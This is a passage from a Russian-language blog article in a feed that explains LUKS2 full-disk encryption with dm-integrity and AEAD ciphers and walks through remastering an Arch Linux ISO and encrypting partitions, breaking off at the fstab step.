</content></entry><entry><id>d4ffyduckone:Bk-ZQFtD7</id><link rel="alternate" type="text/html" href="https://teletype.in/@d4ffyduckone/Bk-ZQFtD7?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=d4ffyduckone"></link><title>Полнодисковое шифрование с LUKS2</title><published>2018-09-02T15:34:17.378Z</published><updated>2018-09-02T15:34:17.378Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://teletype.in/files/02/027c804c-e210-49f7-8f3b-f7ce8b845e05.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://xakep.ru/wp-content/uploads/2018/08/183904/gpg-verify.png&quot;&gt;Дела с шифрованием запоминающих устройств обстоят забавным образом: оно повсюду и нигде одновременно. Начиная от мобильных устройств, где оно играет особо важную роль (причем большинство пользователей об этом даже не догадываются), и заканчивая большими дата-центрами. В то же время исследования, проведенные за последние десять лет в разных странах, включая Великобританию, Германию и США, показывают, что не только обычные пользователи, но и корпорации не сильно пекутся о личных данных.</summary><content type="html">
  &lt;h3&gt;Значимость и проблема FDE&lt;/h3&gt;
  &lt;p&gt;Дела с шифрованием запоминающих устройств обстоят забавным образом: оно повсюду и нигде одновременно. Начиная от мобильных устройств, где оно играет особо важную роль (причем большинство пользователей об этом даже не догадываются), и заканчивая большими дата-центрами. В то же время &lt;a href=&quot;https://commons.erau.edu/jdfsl/vol11/iss4/6/&quot; target=&quot;_blank&quot;&gt;исследования&lt;/a&gt;, проведенные за последние десять лет в разных странах, включая Великобританию, Германию и США, показывают, что не только обычные пользователи, но и корпорации не сильно пекутся о личных данных.&lt;/p&gt;
  &lt;p&gt;К сожалению, на этом проблемы не заканчиваются. Большинство нынешних систем полнодискового шифрования (Full Disk Encryption — FDE) обеспечивают конфиденциальность данных, но не их целостность. Это означает, что злоумышленник может физически изменить байт информации на диске и пользователь не сможет обнаружить, что и где изменилось и откуда сбои. Все потому, что сектор открытого текста равняется сектору шифротекста, а метаинформацию хранить негде.&lt;/p&gt;
  &lt;p&gt;Искажение данных может произойти не только в результате прямого воздействия злоумышленником, но и по чистой случайности: неплотно воткнутый кабель, перезапись данных утилитой, которая не распознает формат LUKS, и так далее.&lt;/p&gt;
  &lt;p&gt;Проблему целостности данных решает аутентифицированное шифрование (Authenticated Encryption with Associated Data — &lt;a href=&quot;https://en.wikipedia.org/wiki/Authenticated_encryption&quot; target=&quot;_blank&quot;&gt;AEAD&lt;/a&gt;). Это не новая тема, и активные исследования вместе с конкурсами на лучший алгоритм (см. &lt;a href=&quot;https://competitions.cr.yp.to/caesar.html&quot; target=&quot;_blank&quot;&gt;CAESAR&lt;/a&gt;) ведутся десятки лет. Но для реализации AEAD в полнодисковом шифровании нужно придумать, где хранить дополнительные данные (те самые AD).&lt;/p&gt;
  &lt;h3&gt;Зачем шифровать&lt;/h3&gt;
  &lt;p&gt;Если вы еще сомневаетесь, что полнодисковое шифрование — нужная штука, то подумайте вот о чем: оно не только помогает сохранить в тайне вашу очень важную инфу и пикантные фоточки, защищая вас от разного рода мошенничества и шантажа, но и предохраняет диск от изменений. Например, вас могут на какое-то время разлучить с вашим компьютером, и речь не только о «маски-шоу», но и, например, о дотошном погранконтроле. Как в таких случаях убедиться, что на диске не появилось чего-то нового? Ну и последний, чисто эмоциональный аргумент: просто представьте, какой неистовый баттхерт будет у кого-то, когда он не сможет получить доступ к вашим данным, — даже если там нет ничего интересного!&lt;/p&gt;
  &lt;h3&gt;Решение&lt;/h3&gt;
  &lt;p&gt;Ребята из Чехии несколько лет разрабатывали решение для Linux, которое сможет предоставить FDE с функцией AEAD. Главными критериями для этого были:&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;обеспечить работу без дополнительного оборудования;&lt;/li&gt;
    &lt;li&gt;сделать возможным применение на самых обычных дисках, которые доступны в магазине, а не по спецзаказу;&lt;/li&gt;
    &lt;li&gt;использовать родной размер сектора;&lt;/li&gt;
    &lt;li&gt;реализовать возможность восстановления данных в случае перебоя питания;&lt;/li&gt;
    &lt;li&gt;использовать (и писать) только свободный код и алгоритмы.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p&gt;Результатом разработки стали новые объекты (targets) для &lt;a href=&quot;https://en.wikipedia.org/wiki/Device_mapper&quot; target=&quot;_blank&quot;&gt;device mapper&lt;/a&gt;: dm-integrity, обновленный dm-crypt с аутентифицированным шифрованием и формат LUKS2. Их поддержка включена в ядро Linux начиная с версии 4.12, а новые шифры AEGIS и MORUS (финалисты CAESAR) доступны с 4.18.&lt;/p&gt;
  &lt;h3&gt;Подробнее о dm-integrity, dm-crypt и LUKS2&lt;/h3&gt;
  &lt;h3&gt;dm-integrity&lt;/h3&gt;
  &lt;p&gt;Эмулирует блочное устройство с дополнительными тегами в каждом секторе и использует их для хранения метаинформации. Поддерживает журналирование, которое можно опционально включить — например, чтобы можно было восстановить данные после сбоя питания.&lt;/p&gt;
  &lt;p&gt;Применяется как в паре с dm-crypt для предоставления AEAD, так и отдельно — для контроля целостности данных без шифрования. Управляется утилитами &lt;code&gt;cryptsetup&lt;/code&gt;, если нужно шифрование, или &lt;code&gt;integritysetup&lt;/code&gt;, соответственно, без него.&lt;/p&gt;
  &lt;h3&gt;dm-crypt&lt;/h3&gt;
  &lt;p&gt;Здесь добавили поддержку режимов AEAD для шифров и рандомизацию вектора инициализации (Initialization Vector). На каждую запись в сектор ядром генерируется случайный Initialization Vector.&lt;/p&gt;
  &lt;p&gt;К примеру, в режиме XTS вектор шифруется хитрым образом, что позволяет брать для него предсказуемый номер сектора (&lt;em&gt;plain&lt;/em&gt; или &lt;em&gt;plain64&lt;/em&gt;).&lt;/p&gt;
  &lt;h3&gt;LUKS2&lt;/h3&gt;
  &lt;p&gt;Это вторая версия формата LUKS с расширенными возможностями. Были устранены некоторые проблемы и ограничения, однако большинство идей LUKS1 остались. Среди новых возможностей:&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;поддержка затратных для памяти функций формирования ключа (key derivation function — KDF);&lt;/li&gt;
    &lt;li&gt;новый вид заголовка (бинарный + JSON), добавлен механизм контрольных сумм, дублирован (кроме области ключей);&lt;/li&gt;
    &lt;li&gt;ключам можно назначать приоритет;&lt;/li&gt;
    &lt;li&gt;JSON позволяет расширять возможности формата, не модифицируя бинарную структуру;&lt;/li&gt;
    &lt;li&gt;в заголовке реализованы токены, которые связаны со слотами для ключей и описывают, где взять пароль. Токены могут быть использованы для поддержки механизмов внешнего хранения ключей.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p&gt;Посмотреть формат заголовка LUKS2 полностью и изучить каждое поле можно в &lt;a href=&quot;https://gitlab.com/cryptsetup/cryptsetup/blob/master/docs/on-disk-format-luks2.pdf&quot; target=&quot;_blank&quot;&gt;спецификации&lt;/a&gt;.&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://www.cryptolux.org/index.php/Argon2&quot; target=&quot;_blank&quot;&gt;Argon2&lt;/a&gt; — та самая, затратная для памяти и центрального процессора KDF. В Linux доступны два варианта: &lt;em&gt;Argon2i&lt;/em&gt; и &lt;em&gt;Argon2id&lt;/em&gt;.&lt;/p&gt;
  &lt;p&gt;На данный момент шифры AEAD, которые есть в ядре (AES-GCM и ChaCha20-Poly1305), имеют короткий (96-bit) одноразовый код (nonce). Это означает, что вероятность коллизии слишком большая (с точки зрения криптографии) и ее нельзя игнорировать, так как использование одноразового кода дважды (nonce reuse) фатально для AES-GCM. На всякий случай отмечу, что это не касается шифрования информации, передаваемой по сети.&lt;/p&gt;
  &lt;p&gt;Для обеспечения AEAD в FDE сейчас стоит использовать новые AEGIS или MORUS. Или же AES-XTS + HMAC, если нет доступа к 4.18. Проблема этой конструкции в том, что нужно хешировать сектор, а хеширование 4 Кбайт данных занимает какое-то время. Другими словами: это долго.&lt;/p&gt;
  &lt;p&gt;Поддержка dm-integrity включается в ядре опцией &lt;code&gt;CONFIG_DM_INTEGRITY&lt;/code&gt;. В Arch Linux проверить, включена ли она у тебя, можно командой&lt;/p&gt;
  &lt;pre&gt; $ zgrep -E &amp;quot;CONFIG_DM_INTEGRITY|CONFIG_BLK_DEV_INTEGRITY&amp;quot; /proc/config.gz
CONFIG_BLK_DEV_INTEGRITY=y
CONFIG_DM_INTEGRITY=m
&lt;/pre&gt;
  &lt;p&gt;В Ubuntu список конфигов ядра находится в разделе &lt;code&gt;/boot&lt;/code&gt;, файл &lt;code&gt;config-версия_ядра&lt;/code&gt; — грепай его, и узнаешь всю правду.&lt;/p&gt;
  &lt;p&gt;Стоит упомянуть, что авторы не пытаются переизобрести велосипед и придумать невиданную ранее концепцию. Подобное решение, но с другим подходом существует во FreeBSD и называется GELI. Здесь для обеспечения целостности данных используется HMAC.&lt;/p&gt;
  &lt;h3&gt;Полнодисковое шифрование с LUKS2 на практике&lt;/h3&gt;
  &lt;p&gt;Итак, у нас в арсенале скоро появятся новые алгоритмы и новые фичи. Но попробовать их не терпится уже сейчас, чем я и занялся.&lt;/p&gt;
  &lt;blockquote&gt;Работа над форматом LUKS2 еще не завершена, так что не рекомендуется использовать его в продакшене!&lt;/blockquote&gt;
  &lt;p&gt;Тут же нас встречает первая проблема: поддержки со стороны загрузчиков просто-напросто нет. На данный момент ни GRUB, ни другие не умеют работать с LUKS2.&lt;/p&gt;
  &lt;p&gt;Отсутствие возможности грузиться с раздела LUKS2 при этом не конец света: &lt;code&gt;/boot&lt;/code&gt; зашифруем в LUKS1. Кто-то возразит, что &lt;code&gt;/boot&lt;/code&gt; — главный раздел и злоумышленнику, который получил доступ к нему, уже все равно, что у тебя в &lt;code&gt;/&lt;/code&gt;. И это правда. Но к сожалению, пока что приходится работать с тем, что есть. LUKS1, конечно же, неплох, но мы сюда пришли новые фичи тестить. В любом случае LUKS2 находится в стадии допила напильником развития и модификации, поэтому о деплое в продакшен речи в любом слу��ае не идет.&lt;/p&gt;
  &lt;p&gt;Тем временем сзади подкрался второй подвох: это ядро 4.18, которое, как ты помнишь, нужно для AEGIS и MORUS и которого на момент написания статьи нет ни в одном live-установщике. Единственная идея, которая мне приходит в голову, — это кастомный archiso, так как ежемесячный билд содержит только версию 4.17.11.&lt;/p&gt;
  &lt;h3&gt;Модификация archiso&lt;/h3&gt;
  &lt;p&gt;Процесс хорошо описан в &lt;a href=&quot;https://wiki.archlinux.org/index.php/Remastering_the_Install_ISO&quot; target=&quot;_blank&quot;&gt;Arch Wiki&lt;/a&gt;. В двух словах: нужно скачать официальный образ live-установщика, распаковать, внести свои изменения и запаковать обратно.&lt;/p&gt;
  &lt;blockquote&gt;Если ты читаешь статью, когда на свете уже есть установщик с ядром 4.18, пропускай эту подглаву — ты живешь в прекрасном будущем и тебе все это не пригодится.&lt;/blockquote&gt;
  &lt;p&gt;На &lt;a href=&quot;https://www.archlinux.org/download/&quot; target=&quot;_blank&quot;&gt;странице загрузки&lt;/a&gt; выбирай наиболее подходящее зеркало и качай:&lt;/p&gt;
  &lt;pre&gt; $ curl -q -OL &amp;quot;http://mir.archlinux.fr/iso/2018.08.01/archlinux-2018.08.01-x86_64.iso{,.sig}&amp;quot;
&lt;/pre&gt;
  &lt;p&gt;Не забудь проверить целостность файла .iso:&lt;/p&gt;
  &lt;p&gt;&lt;code&gt; $ gpg --recv-keys 9741E8AC &amp;amp;&amp;amp; gpg --verify archlinux-2018.08.01-x86_64.iso.sig&lt;/code&gt;&lt;/p&gt;
  &lt;figure class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://xakep.ru/wp-content/uploads/2018/08/183904/gpg-verify.png&quot; width=&quot;1025&quot; /&gt;
  &lt;/figure&gt;
  &lt;pre&gt; # mkdir /mnt/archiso
# mount -t iso9660 -o loop archlinux-2018.08.01-x86_64.iso /mnt/archiso
&lt;/pre&gt;
  &lt;p&gt;Так как образы ISO монтируются в режиме только для чтения, скопируй содержимое в другую директорию. Перед копированием удостоверься, что директории &lt;code&gt;~/customiso&lt;/code&gt; не существует, и выполни 1&lt;/p&gt;
  &lt;p&gt;&lt;code&gt; $ cp -a /mnt/archiso ~/customiso; sync&lt;/code&gt;&lt;/p&gt;
  &lt;p&gt;Далее нужно распаковать airootfs.sfs утилитой unsquashfs, она есть в составе пакета squashfs-tools (&lt;code&gt;$ sudo pacman -S squashfs-tools&lt;/code&gt;):&lt;/p&gt;
  &lt;pre&gt; $ cd ~/customiso/arch/x86_64/
$ unsquashfs airootfs.sfs
&lt;/pre&gt;
  &lt;p&gt;Для обновления ядра понадобится… ядро. Копируй:&lt;/p&gt;
  &lt;p&gt;&lt;code&gt; $ cp ../boot/x86_64/vmlinuz squashfs-root/boot/vmlinuz-linux&lt;/code&gt;&lt;/p&gt;
  &lt;p&gt;Теперь можно делать chroot в систему, для этого используй скрипт arch-chroot из пакета arch-install-scripts:&lt;/p&gt;
  &lt;p&gt;&lt;code&gt; $ sudo arch-chroot squashfs-root /bin/bash&lt;/code&gt;&lt;/p&gt;
  &lt;p&gt;Для установки пакетов нужно сначала инициализировать ключи для pacman внутри chroot:&lt;/p&gt;
  &lt;pre&gt; # pacman-key --init
# pacman-key --populate archlinux
&lt;/pre&gt;
  &lt;p&gt;Обнови все пакеты:&lt;/p&gt;
  &lt;p&gt;&lt;code&gt; # pacman -Syu --force archiso linux&lt;/code&gt;&lt;/p&gt;
  &lt;p&gt;В файле /etc/mkinitcpio.conf замени &lt;code&gt;HOOKS=(...)&lt;/code&gt; на&lt;/p&gt;
  &lt;p&gt;&lt;code&gt; HOOKS=(base udev memdisk archiso_shutdown archiso archiso_loop_mnt archiso_pxe_common archiso_pxe_nbd archiso_pxe_http archiso_pxe_nfs archiso_kms block filesystems keyboard)&lt;/code&gt;&lt;/p&gt;
  &lt;p&gt;Пересобери initramfs:&lt;/p&gt;
  &lt;p&gt;&lt;code&gt; # mkinitcpio -p linux&lt;/code&gt;&lt;/p&gt;
  &lt;p&gt;По окончании нужно создать список пакетов, почистить кеш менеджера пакетов и выйти из окружения chroot:&lt;/p&gt;
  &lt;pre&gt; # LANG=C pacman -Sl | awk &amp;#x27;/\[installed\]$/ {print $1 &amp;quot;/&amp;quot; $2 &amp;quot;-&amp;quot; $3}&amp;#x27; &amp;gt; /pkglist.txt
# pacman -Scc
# exit
&lt;/pre&gt;
  &lt;p&gt;Перенеси свежее ядро и список пакетов, а также удали запасной образ (fallback), так как он не используется установщиком:&lt;/p&gt;
  &lt;pre&gt; $ mv squashfs-root/boot/vmlinuz-linux ~/customiso/arch/boot/x86_64/vmlinuz
$ mv squashfs-root/boot/initramfs-linux.img ~/customiso/arch/boot/x86_64/archiso.img
$ rm squashfs-root/boot/initramfs-linux-fallback.img
$ mv squashfs-root/pkglist.txt ~/customiso/arch/pkglist.x86_64.txt
&lt;/pre&gt;
  &lt;p&gt;Создай новый airootfs.sfs, почисти мусор и сгенерируй контрольную сумму:&lt;/p&gt;
  &lt;pre&gt; $ rm airootfs.sfs
$ mksquashfs squashfs-root airootfs.sfs
$ sudo rm -r squashfs-root
$ sha512sum airootfs.sfs &amp;gt; airootfs.sha512
&lt;/pre&gt;
  &lt;p&gt;Чтобы можно было грузиться в режиме UEFI, надо обновить загрузочный образ:&lt;/p&gt;
  &lt;pre&gt; $ mkdir mnt
## Для монтирования FAT файловых систем нужен пакет dosfstools
$ sudo mount -t vfat -o loop ~/customiso/EFI/archiso/efiboot.img mnt
$ sudo cp ~/customiso/arch/boot/x86_64/vmlinuz mnt/EFI/archiso/vmlinuz.efi
$ sudo cp ~/customiso/arch/boot/x86_64/archiso.img mnt/EFI/archiso/archiso.img
&lt;/pre&gt;
  &lt;p&gt;Последнее, что нужно, — это запаковать все в новый ISO. Читай метку старого .iso при помощи &lt;code&gt;lsblk -f&lt;/code&gt; или &lt;code&gt;blkid&lt;/code&gt;.&lt;/p&gt;
  &lt;figure class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://xakep.ru/wp-content/uploads/2018/08/183904/lsblk-label.png&quot; width=&quot;1354&quot; /&gt;
  &lt;/figure&gt;
  &lt;pre&gt; $ iso_label=&amp;quot;ARCH_201808&amp;quot;
## xorriso есть в пакете libisoburn (sudo pacman -S libisoburn)
$ xorriso -as mkisofs \
  -iso-level 3 \
  -full-iso9660-filenames \
  -volid &amp;quot;${iso_label}&amp;quot; \
  -eltorito-boot isolinux/isolinux.bin \
  -eltorito-catalog isolinux/boot.cat \
  -no-emul-boot -boot-load-size 4 -boot-info-table \
  -isohybrid-mbr ~/customiso/isolinux/isohdpfx.bin \
  -eltorito-alt-boot \
  -e EFI/archiso/efiboot.img \
  -no-emul-boot -isohybrid-gpt-basdat \
  -output arch-custom.iso \
  ~/customiso
$ sudo umount mnt
$ sudo rm -r mnt
&lt;/pre&gt;
  &lt;p&gt;Все готово, записывай arch-custom.iso на диск или флешку и грузись: 1&lt;/p&gt;
  &lt;p&gt;$ sudo dd if=arch-custom.iso of=/dev/xxx bs=1M status=progress&lt;/p&gt;
  &lt;h3&gt;Установка Arch Linux на LUKS2&lt;/h3&gt;
  &lt;p&gt;Если модификации прошли успешно и удалось загрузиться, то первая строчка на экране сообщит версию ядра.&lt;/p&gt;
  &lt;figure class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://xakep.ru/wp-content/uploads/2018/08/183904/modified-iso.png&quot; width=&quot;1025&quot; /&gt;
  &lt;/figure&gt;
  &lt;blockquote&gt;Подробно расписывать, как устанавливать Arch Linux, нет смысла — этой информации полно в интернете. Затрону главные моменты, которые касаются LUKS2 и «прикручивания» шифрования в целом.Установка проводится на чистый, новый или пустой диск, желательно SSD. Если у тебя есть другие разделы, то придется их нюкнуть. Также нужен UEFI, который, скорее всего, твоя машинка поддерживает.&lt;/blockquote&gt;
  &lt;p&gt;Если ставишь на виртуалку, то главное — включить поддержку EFI и пробросить флешку.&lt;/p&gt;
  &lt;figure class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://xakep.ru/wp-content/uploads/2018/08/183904/vbox-efi.png&quot; width=&quot;676&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://xakep.ru/wp-content/uploads/2018/08/183904/vbox-flash.png&quot; width=&quot;679&quot; /&gt;
  &lt;/figure&gt;
  &lt;blockquote&gt;Данные ОПАСНОСТЕ!!1 Единственный способ расшифровать их — это ключ-файл на флешке. Выбирай понадежней или оставь возможность ввести пароль.&lt;/blockquote&gt;
  &lt;p&gt;Чтобы в один прекрасный день не лишиться данных из-за испорченной или утерянной флешки, сразу добавлю возможность открывать парольной фразой. Из-за этого у меня будут задействованы два слота в заголовке: пароль (слот 0) и ключ-файл (слот 1), который я добавлю потом. Если любишь риск, то можешь парольный слот уничтожить после добавления файла.&lt;/p&gt;
  &lt;p&gt;Топология диска у меня:&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;code&gt;/dev/sda1&lt;/code&gt; — раздел для образов .efi, не зашифрован, FAT32;&lt;/li&gt;
    &lt;li&gt;&lt;code&gt;/dev/sda2&lt;/code&gt; — раздел &lt;code&gt;/boot&lt;/code&gt;, зашифрован, LUKS1;&lt;/li&gt;
    &lt;li&gt;&lt;code&gt;/dev/sda3&lt;/code&gt; — &lt;code&gt;/&lt;/code&gt;, зашифрован, LUKS2.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p&gt;GPT — таблица разделов. Отдельный &lt;code&gt;/boot&lt;/code&gt; нужен, как ты помнишь, из-за того, что загрузчики пока не умеют открывать LUKS2. По большому счету можно избавиться от &lt;code&gt;sda1&lt;/code&gt; и хранить образ GRUB в файле .efi на той же флешке: для этого нужен раздел с FAT (&lt;a href=&quot;http://www.uefi.org/sites/default/files/resources/UEFI+2_5.pdf#page=536&quot; target=&quot;_blank&quot;&gt;по спецификации UEFI&lt;/a&gt;), и вспомнить кое-какие дополнительные ключи (&lt;code&gt;--removable&lt;/code&gt;) для &lt;code&gt;grub-install&lt;/code&gt;.&lt;/p&gt;
  &lt;p&gt;Смотрю диск:&lt;/p&gt;
  &lt;pre&gt; root@archiso ~ # fdisk -l      
Disk /dev/sda: 119.2 GiB, 128035676160 bytes, 250069680 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: BA18A20B-089C-47EC-A88C-096FE6A5A7EE
 
Device      Start      End  Sectors  Size Type
/dev/sda1    2048  411647  409600  200M EFI System
/dev/sda2  411648  821247  409600  200M Linux filesystem
/dev/sda3  821248 21792767 20971520  10G Linux filesystem
&lt;/pre&gt;
  &lt;p&gt;И создаю LUKS2 на &lt;code&gt;/dev/sda3&lt;/code&gt;:&lt;/p&gt;
  &lt;p&gt;&lt;code&gt; # cryptsetup luksFormat --type luks2 --pbkdf argon2id --cipher aegis256-random --integrity aead --integrity-no-journal /dev/sda3&lt;/code&gt;&lt;/p&gt;
  &lt;p&gt;Чтобы использовать контроль целостности данных (&lt;code&gt;--integrity&lt;/code&gt;), на устройство сначала нужно записать контрольные суммы. Поэтому, если у тебя большой диск, придется запастись терпением.&lt;/p&gt;
  &lt;figure class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://xakep.ru/wp-content/uploads/2018/08/183904/integrity-tag-progress.png&quot; width=&quot;1435&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;А вот сравнение скорости работы алгоритмов на SSD, приведенное разработчиками. Линейная запись и чтение.&lt;/p&gt;
  &lt;figure class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/3d99dbfc3309883de2c58.png&quot; width=&quot;683&quot; /&gt;
  &lt;/figure&gt;
  &lt;ul&gt;
    &lt;li&gt;В качестве PBKDF я использую Argon2id. Если установка идет на одном железе, а система будет использоваться на другом, то дополнительно можно указать, сколько памяти, процессорных потоков и итераций использовать. Ключи:&lt;code&gt;--pbkdf-memory &amp;lt;number&amp;gt;&lt;/code&gt;;&lt;/li&gt;
    &lt;li&gt;&lt;code&gt;--pbkdf-parallel &amp;lt;number&amp;gt;&lt;/code&gt;;&lt;/li&gt;
    &lt;li&gt;&lt;code&gt;--pbkdf-force-iterations &amp;lt;num&amp;gt;&lt;/code&gt;.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p&gt;Если не указывать их, то будет проведен бенчмарк текущего железа и цифры взяты оттуда.&lt;/p&gt;
  &lt;p&gt;Шифр — aegis256-random. Для LUKS2 доступны следующие алгоритмы AEAD:&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;aegis128-random;&lt;/li&gt;
    &lt;li&gt;aegis256-random;&lt;/li&gt;
    &lt;li&gt;morus640-random;&lt;/li&gt;
    &lt;li&gt;morus1280-random.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p&gt;Суффикс &lt;code&gt;-random&lt;/code&gt; здесь указывает на вектор инициализации. Более подробное сравнение смотри в спецификации и магистерской диссертации.&lt;/p&gt;
  &lt;p&gt;Как видно из графиков, журнал уменьшает скорость, поэтому отключаю его. На ноутбуке он, в принципе, не нужен, так как внезапная потеря питания в большинстве случаев ему не грозит.&lt;/p&gt;
  &lt;p&gt;Смотрю, что получилось, и открываю:&lt;/p&gt;
  &lt;pre&gt; # cryptsetup luksDump /dev/sda3
# cryptsetup open /dev/sda3 crypto_root
# lsblk -f
&lt;/pre&gt;
  &lt;figure class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://xakep.ru/wp-content/uploads/2018/08/183904/dump-luks2-short.png&quot; width=&quot;1048&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;То самое эмулированное промежуточное устройство crypto_root_dif, с дополнительным местом под метаданные. Для пользователя оно прозрачно, и работа проходит с обычным блочным устройством, в данном случае crypto_root.&lt;/p&gt;
  &lt;p&gt;Подготовлю раздел &lt;code&gt;/boot&lt;/code&gt; в LUKS1 и также открою его:&lt;/p&gt;
  &lt;pre&gt; # cryptsetup luksFormat -h whirlpool -i 5555 /dev/sda2
# cryptsetup luksDump /dev/sda2
# cryptsetup open /dev/sda2 crypto_boot
&lt;/pre&gt;
  &lt;p&gt;Тут ничего нового: любимая хеш-функция и чуть больше итераций.&lt;/p&gt;
  &lt;figure class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://xakep.ru/wp-content/uploads/2018/08/183904/dump-luks1.png&quot; width=&quot;1068&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Окей, разделы готовы. Обрати внимание: после открытия я работаю &lt;strong&gt;только&lt;/strong&gt; с эмулированными устройствами &lt;code&gt;/dev/mapper/crypto_boot&lt;/code&gt; и &lt;code&gt;/dev/mapper/crypto_root&lt;/code&gt;, а не с физическими &lt;code&gt;/dev/sda2&lt;/code&gt; и &lt;code&gt;/dev/sda3&lt;/code&gt;.Создаю файловые системы:&lt;/p&gt;
  &lt;pre&gt; # mkfs.vfat -F32 -n &amp;quot;ESP&amp;quot; /dev/sda1
# mkfs.ext2 -L &amp;quot;arch_boot&amp;quot; /dev/mapper/crypto_boot
# mkfs.ext4 -L &amp;quot;arch_root&amp;quot; /dev/mapper/crypto_root
&lt;/pre&gt;
  &lt;p&gt;Монтирую:&lt;/p&gt;
  &lt;pre&gt; # mount /dev/mapper/crypto_root /mnt
# mkdir /mnt/boot
# mount /dev/mapper/crypto_boot /mnt/boot
# mkdir /mnt/boot/efi
# mount /dev/sda1 /mnt/boot/efi
&lt;/pre&gt;
  &lt;p&gt;Всегда используй только свежие зеркала:&lt;/p&gt;
  &lt;pre&gt; ## Переименовать список старых
# mv /etc/pacman.d/mirrorlist{,.old}
## Скачать новые
## FR в ссылке можешь заменить на код своей страны или той, что рядом
# curl -q -sSL &amp;#x27;https://archlinux.org/mirrorlist/?country=FR&amp;amp;protocol=https&amp;#x27; | sed -e &amp;#x27;s/^#S/S/g&amp;#x27; &amp;gt;/etc/pacman.d/mirrorlist
&lt;/pre&gt;
  &lt;p&gt;Для аутентификации по флешке нужно добавить дополнительный ключ. Ты можешь сделать его из последовательности битов на ней и указать GRUB использовать их при помощи следующего параметра ядра: &lt;code&gt;cryptkey=device:offset:size&lt;/code&gt;, где&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;code&gt;device&lt;/code&gt; — блочное устройство, на котором хранится ключ;&lt;/li&gt;
    &lt;li&gt;&lt;code&gt;offset&lt;/code&gt; — смещение, по которому считывать байты;&lt;/li&gt;
    &lt;li&gt;&lt;code&gt;size&lt;/code&gt; — сколько байтов считать.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p&gt;В качестве &lt;code&gt;device&lt;/code&gt; можно использовать как &lt;code&gt;/dev/sdX&lt;/code&gt;, так и &lt;code&gt;UUID=&lt;/code&gt;, например:&lt;/p&gt;
  &lt;p&gt;&lt;code&gt; cryptkey=/dev/sda:0:512&amp;#x60; или &amp;#x60;cryptkey=UUID=1234-5678:0:512&lt;/code&gt;&lt;/p&gt;
  &lt;p&gt;В моем случае это будет обычный файл. Поэтому воспользуюсь немного другим форматом: &lt;code&gt;cryptkey=device:fstype:path&lt;/code&gt; и просто укажу путь к нему.&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;code&gt;fstytpe&lt;/code&gt; — тип файловой системы, можно использовать &lt;code&gt;auto&lt;/code&gt;;&lt;/li&gt;
    &lt;li&gt;&lt;code&gt;path&lt;/code&gt; — путь к файлу.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p&gt;Если флешка чистая, без разделов, то придется их создать. Какую именно файловую систему использовать — дело твое. Для экономии времени воспользуюсь установочной флешкой. Создам директорию и примонтирую в нее:&lt;/p&gt;
  &lt;pre&gt; # mkdir /flash
# mount /dev/sdb2 /flash
&lt;/pre&gt;
  &lt;figure class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://xakep.ru/wp-content/uploads/2018/08/183904/fdisk-flash.png&quot; width=&quot;1066&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Сгенерирую ключ-файл:&lt;/p&gt;
  &lt;p&gt;&lt;code&gt; &amp;lt;span class=&amp;quot;com&amp;quot;&amp;gt;# dd if=/dev/urandom of=/flash/root_key.bin bs=1024 count=2&amp;lt;/span&amp;gt;&lt;/code&gt;&lt;/p&gt;
  &lt;blockquote&gt;&lt;a href=&quot;https://www.2uo.de/myths-about-urandom/?_gclid=5b87c01163add8.71044515-5b87c01163aea1.10521724&amp;_utm_source=xakep&amp;_utm_campaign=mention183904&amp;_utm_medium=inline&amp;_utm_content=lnk3858764208768&quot; target=&quot;_blank&quot;&gt;Статья&lt;/a&gt; и &lt;a href=&quot;https://unix.stackexchange.com/questions/324209/when-to-use-dev-random-vs-dev-urandom#324210?_gclid=5b87c01163add8.71044515-5b87c01163aea1.10521724&amp;_utm_source=xakep&amp;_utm_campaign=mention183904&amp;_utm_medium=inline&amp;_utm_content=lnk1929382104384&quot; target=&quot;_blank&quot;&gt;интересное обсуждение&lt;/a&gt; для тех, кто думает, что чуть выше я совершил акт кощунства.&lt;/blockquote&gt;
  &lt;p&gt;Добавлю ключ:&lt;/p&gt;
  &lt;p&gt;&lt;code&gt;# cryptsetup luksAddKey --pbkdf argon2id /dev/sda3 /flash/root_key.bin&lt;/code&gt;&lt;/p&gt;
  &lt;p&gt;Экстремалы могут удалить парольный слот командой &lt;code&gt;cryptsetup luksKillSlot /dev/sda3 0&lt;/code&gt;, где 0 — номер слота.&lt;/p&gt;
  &lt;p&gt;Все готово к установке:&lt;/p&gt;
  &lt;p&gt;&lt;code&gt; # pacstrap /mnt base base-devel vim grub efibootmgr dialog wpa_supplicant&lt;/code&gt;&lt;/p&gt;
  &lt;p&gt;Генерирую fstab:&lt;/p&gt;
